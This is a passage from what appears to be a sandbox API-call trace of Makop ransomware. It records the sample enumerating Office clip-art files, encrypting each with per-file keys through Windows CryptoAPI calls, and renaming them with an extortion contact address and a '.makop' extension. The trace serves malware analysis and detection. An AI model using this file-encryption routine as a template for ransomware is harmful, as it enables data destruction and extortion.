lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.983] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.984] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.984] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.984] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.984] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.984] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1784, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1784, lpOverlapped=0x0) returned 1 [0141.986] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1790, dwBufLen=0x1790 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1790) returned 1 [0141.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1790, lpOverlapped=0x0) returned 1 [0141.986] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.987] SetEndOfFile (hFile=0xf0) returned 1 [0141.994] GetProcessHeap () returned 0x48a0000 [0141.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.994] GetProcessHeap () returned 0x48a0000 [0141.994] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.994] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.996] CloseHandle (hObject=0xf0) returned 1 [0141.996] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_06.MID", cAlternateFileName="")) returned 1 [0141.997] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID") returned 63 [0141.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.998] GetProcessHeap () returned 0x48a0000 [0141.998] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.998] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.998] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.998] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.002] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.002] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.003] GetProcessHeap () returned 0x48a0000 [0142.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.003] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.003] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.003] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.004] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.004] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.004] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.005] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.005] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.005] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1e58, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1e58, lpOverlapped=0x0) returned 1 [0142.006] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60, dwBufLen=0x1e60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1e60) returned 1 [0142.006] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.006] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1e60, lpOverlapped=0x0) returned 1 [0142.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.007] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.007] SetEndOfFile (hFile=0xf0) returned 1 [0142.013] GetProcessHeap () returned 0x48a0000 [0142.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.013] GetProcessHeap () returned 0x48a0000 [0142.013] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.013] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_06.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_06.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.015] CloseHandle (hObject=0xf0) returned 1 [0142.015] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_07.MID", cAlternateFileName="")) returned 1 [0142.017] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0142.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.019] GetProcessHeap () returned 0x48a0000 [0142.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.019] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.019] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0142.024] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.024] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.024] GetProcessHeap () returned 0x48a0000 [0142.024] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.024] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.024] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.024] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.024] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.025] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.025] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.025] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.025] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.025] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19a4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19a4, lpOverlapped=0x0) returned 1 [0142.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0) returned 1 [0142.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19b0, lpOverlapped=0x0) returned 1 [0142.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.027] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.027] SetEndOfFile (hFile=0xf0) returned 1 [0142.034] GetProcessHeap () returned 0x48a0000 [0142.034] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.034] GetProcessHeap () returned 0x48a0000 [0142.034] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.034] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.034] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_07.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.036] CloseHandle (hObject=0xf0) returned 1 [0142.036] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_08.MID", cAlternateFileName="")) returned 1 [0142.036] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0142.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.037] GetProcessHeap () returned 0x48a0000 [0142.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.037] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0142.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.059] GetProcessHeap () returned 0x48a0000 [0142.059] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0142.059] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0142.059] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0142.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0142.060] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0142.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0142.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0142.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0142.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0142.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.060] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1cb3, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1cb3, lpOverlapped=0x0) returned 1 [0142.077] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cc0, dwBufLen=0x1cc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1cc0) returned 1 [0142.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1cc0, lpOverlapped=0x0) returned 1 [0142.077] CryptDestroyKey (hKey=0x48c7128) returned 1 [0142.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.078] SetEndOfFile (hFile=0xf0) returned 1 [0142.084] GetProcessHeap () returned 0x48a0000 [0142.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0142.085] GetProcessHeap () returned 0x48a0000 [0142.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0142.085] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0142.085] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_08.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0142.090] CloseHandle (hObject=0xf0) returned 1 [0142.090] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_09.MID", cAlternateFileName="")) returned 1 [0142.090] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0142.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0142.091] GetProcessHeap () returned 0x48a0000 [0142.091] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0142.091] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0142.091] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0142.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0142.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: 